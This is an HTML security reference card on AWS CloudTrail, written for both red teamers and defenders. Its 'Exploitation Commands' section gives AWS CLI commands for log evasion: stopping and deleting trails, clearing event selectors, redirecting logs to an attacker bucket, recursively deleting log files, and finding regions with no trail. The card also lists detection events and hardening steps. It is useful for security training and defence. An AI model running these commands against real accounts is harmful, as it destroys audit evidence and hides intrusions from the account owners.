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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS CloudTrail Security | AWS Security Cards</title>
<meta name="description" content="CloudTrail records AWS API calls for auditing. Understanding CloudTrail is critical for both attackers (evasion) and defenders (detection). Every red teamer must know what gets logged.">
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</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/cloudtrail-card.webp" alt="AWS CloudTrail Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/cloudtrail.svg" alt="AWS CloudTrail Security" /></div>
<div>
<div>
<span class="header-title">AWS CloudTrail Security</span>
<span class="header-badge">AUDIT LOGGING</span>
</div>
<p class="header-desc">CloudTrail records AWS API calls for auditing. Understanding CloudTrail is critical for both attackers (evasion) and defenders (detection). Every red teamer must know what gets logged.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">CRITICAL</div>
<div class="stat-label">For Evasion</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">90 Days</div>
<div class="stat-label">Event History</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">S3</div>
<div class="stat-label">Log Storage</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">~5 min</div>
<div class="stat-label">Log Delay</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Management Events</h4>
<p>Control plane operations: CreateBucket, RunInstances, AttachRolePolicy. Logged by default in all trails. These are the API calls that modify resources.</p>
<div class="attack-note"><span style="color:#06b6d4;">Coverage:</span> ~98% of AWS API calls logged, but some read-only calls may not appear in Event History</div>
</div>
<div>
<h4 style="color: #06b6d4;">Data Events</h4>
<p>Data plane operations: S3 GetObject/PutObject, Lambda Invoke, DynamoDB GetItem. NOT logged by default - must be explicitly enabled. High volume = high cost.</p>
<div class="attack-note"><span style="color:#06b6d4;">Red Team Note:</span> Data events often disabled due to cost - S3 object access may be invisible</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 85%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">CloudTrail misconfiguration or tampering enables attackers to operate undetected. Trail deletion, log manipulation, and exploiting blind spots are key evasion techniques.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Trail Manipulation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Delete or stop CloudTrail trails</li><li><span class="bullet" style="color: #f87171;">•</span> Modify event selectors to exclude activities</li><li><span class="bullet" style="color: #f87171;">•</span> Change S3 bucket to attacker-controlled</li><li><span class="bullet" style="color: #f87171;">•</span> Disable log file validation</li><li><span class="bullet" style="color: #f87171;">•</span> Delete logs from S3 bucket</li></ul><h4 style="color: #f87171;">Evasion Techniques</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Use regions without active trails</li><li><span class="bullet" style="color: #f87171;">•</span> Exploit data event blind spots</li><li><span class="bullet" style="color: #f87171;">•</span> Time attacks during log delivery delay</li><li><span class="bullet" style="color: #f87171;">•</span> Use non-logged API actions</li><li><span class="bullet" style="color: #f87171;">•</span> Abuse read-only operations</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">👁️ Blind Spots</h3><h4 style="color: #fb923c;">NOT Logged by Default</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> S3 object-level operations (GetObject, PutObject)</li><li><span class="bullet" style="color: #fb923c;">•</span> Lambda function invocations</li><li><span class="bullet" style="color: #fb923c;">•</span> DynamoDB item-level operations</li><li><span class="bullet" style="color: #fb923c;">•</span> EBS direct API calls</li><li><span class="bullet" style="color: #fb923c;">•</span> Cognito user pool data operations</li></ul><h4 style="color: #fb923c;">Never Logged</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> IMDS calls from EC2 instances</li><li><span class="bullet" style="color: #fb923c;">•</span> S3 pre-signed URL access</li><li><span class="bullet" style="color: #fb923c;">•</span> CloudFront signed URL access</li><li><span class="bullet" style="color: #fb923c;">•</span> Internal AWS service-to-service calls</li><li><span class="bullet" style="color: #fb923c;">•</span> Some read-only describe/list calls</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List All Trails</div>
<pre><code>aws cloudtrail describe-trails</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Trail Status</div>
<pre><code>aws cloudtrail get-trail-status --name my-trail</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Event Selectors</div>
<pre><code>aws cloudtrail get-event-selectors --trail-name my-trail</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Check Insight Selectors</div>
<pre><code>aws cloudtrail get-insight-selectors --trail-name my-trail</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Lookup Recent Events</div>
<pre><code>aws cloudtrail lookup-events --max-results 10</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">🔧 Trail Tampering</h3><h4 style="color: #c084fc;">Disable Logging</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> StopLogging - pause trail temporarily</li><li><span class="bullet" style="color: #c084fc;">•</span> DeleteTrail - remove trail entirely</li><li><span class="bullet" style="color: #c084fc;">•</span> UpdateTrail - change destination bucket</li><li><span class="bullet" style="color: #c084fc;">•</span> PutEventSelectors - exclude event types</li><li><span class="bullet" style="color: #c084fc;">•</span> Remove S3 bucket policy permissions</li></ul><h4 style="color: #c084fc;">Log Deletion</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Delete log files from S3 directly</li><li><span class="bullet" style="color: #c084fc;">•</span> Modify S3 lifecycle rules for quick expiry</li><li><span class="bullet" style="color: #c084fc;">•</span> Disable log file integrity validation</li><li><span class="bullet" style="color: #c084fc;">•</span> Change CloudWatch Logs destination</li><li><span class="bullet" style="color: #c084fc;">•</span> Disable SNS notifications</li></ul><div class="note"><strong>Warning:</strong> Trail tampering itself is logged. Sophisticated attackers prefer exploiting blind spots over modifying trails.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🌍 Regional Evasion</h3><h4 style="color: #facc15;">Multi-Region Gaps</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Check if trail is multi-region or single-region</li><li><span class="bullet" style="color: #facc15;">•</span> Operate in regions without active trails</li><li><span class="bullet" style="color: #facc15;">•</span> Global services log to us-east-1 only</li><li><span class="bullet" style="color: #facc15;">•</span> Some regions may have logging disabled</li><li><span class="bullet" style="color: #facc15;">•</span> Organization trails vs account trails</li></ul><h4 style="color: #facc15;">Timing Attacks</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Logs delivered every ~5 minutes</li><li><span class="bullet" style="color: #facc15;">•</span> Event History has 90-day limit</li><li><span class="bullet" style="color: #facc15;">•</span> Rapid operations may batch together</li><li><span class="bullet" style="color: #facc15;">•</span> Delete and recreate within delivery window</li><li><span class="bullet" style="color: #facc15;">•</span> Race condition with security automation</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">Critical Events to Monitor</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> StopLogging - trail stopped</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteTrail - trail deleted</li><li><span class="bullet" style="color: #4ade80;">•</span> UpdateTrail - configuration changed</li><li><span class="bullet" style="color: #4ade80;">•</span> PutEventSelectors - selectors modified</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteBucket on trail S3 bucket</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Trail logging stopped unexpectedly</li><li><span class="bullet" style="color: #4ade80;">•</span> Event selectors reduced in scope</li><li><span class="bullet" style="color: #4ade80;">•</span> S3 bucket policy modified</li><li><span class="bullet" style="color: #4ade80;">•</span> Log files deleted from bucket</li><li><span class="bullet" style="color: #4ade80;">•</span> New trail created to shadow org trail</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Stop Trail Logging</div>
<pre><code>aws cloudtrail stop-logging --name my-trail</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Delete Trail</div>
<pre><code>aws cloudtrail delete-trail --name my-trail</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Disable Data Events</div>
<pre><code>aws cloudtrail put-event-selectors \\
--trail-name my-trail \\
--event-selectors '[]'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Change Trail S3 Bucket</div>
<pre><code>aws cloudtrail update-trail \\
--name my-trail \\
--s3-bucket-name attacker-bucket</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Delete Logs from S3</div>
<pre><code>aws s3 rm s3://cloudtrail-logs/AWSLogs/ \\
--recursive</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Find Unmonitored Regions</div>
<pre><code>for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
echo "=== $region ==="
aws cloudtrail describe-trails --region $region
done</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Overly Permissive - Can Disable Logging</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "cloudtrail:*",
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Full CloudTrail access allows stopping trails and deleting logs</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Read-Only CloudTrail Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"cloudtrail:Describe*",
"cloudtrail:Get*",
"cloudtrail:List*",
"cloudtrail:LookupEvents"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Read-only access for security monitoring without modification rights</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">S3 Bucket Policy - No Protection</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": "s3:*",
"Resource": "arn:aws:s3:::cloudtrail-logs/*"
}]
}</code></pre>
<p class="policy-desc">Root account can delete logs - no object lock or versioning</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Protected S3 Bucket with Object Lock</span>
</div>
<pre><code># Enable Object Lock on bucket creation
aws s3api create-bucket --bucket cloudtrail-logs \\
--object-lock-enabled-for-bucket
# Set retention policy
aws s3api put-object-lock-configuration \\
--bucket cloudtrail-logs \\
--object-lock-configuration '{
"Rule": {"DefaultRetention": {
"Mode": "GOVERNANCE", "Days": 365
}}
}'</code></pre>
<p class="policy-desc">Object Lock prevents log deletion even by root account</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🌍</span>
<div>
<h4>Enable Multi-Region Trail</h4>
<p>Ensure trail covers all regions including future ones.</p>
<pre><code>aws cloudtrail update-trail \\
--name org-trail \\
--is-multi-region-trail</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Enable Log File Validation</h4>
<p>Detect tampering with digest files that verify log integrity.</p>
<pre><code>aws cloudtrail update-trail \\
--name org-trail \\
--enable-log-file-validation</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📦</span>
<div>
<h4>Enable S3 Object Lock</h4>
<p>Prevent log deletion with WORM (Write Once Read Many) protection.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔔</span>
<div>
<h4>CloudWatch Alarms for Trail Changes</h4>
<p>Alert on StopLogging, DeleteTrail, and UpdateTrail events.</p>
<pre><code># CloudWatch metric filter for trail stops
aws logs put-metric-filter \\
--log-group-name CloudTrail/Logs \\
--filter-name TrailStopped \\
--filter-pattern '{ $.eventName = "StopLogging" }'</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🏢</span>
<div>
<h4>Use Organization Trail</h4>
<p>Organization-level trail that member accounts cannot modify.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📊</span>
<div>
<h4>Enable Data Events</h4>
<p>Log S3 object access and Lambda invocations for sensitive resources.</p>
<pre><code>aws cloudtrail put-event-selectors \\
--trail-name my-trail \\
--event-selectors '[{
"DataResources": [{
"Type": "AWS::S3::Object",
"Values": ["arn:aws:s3:::sensitive-bucket/"]
}]
}]'</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS CloudTrail Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>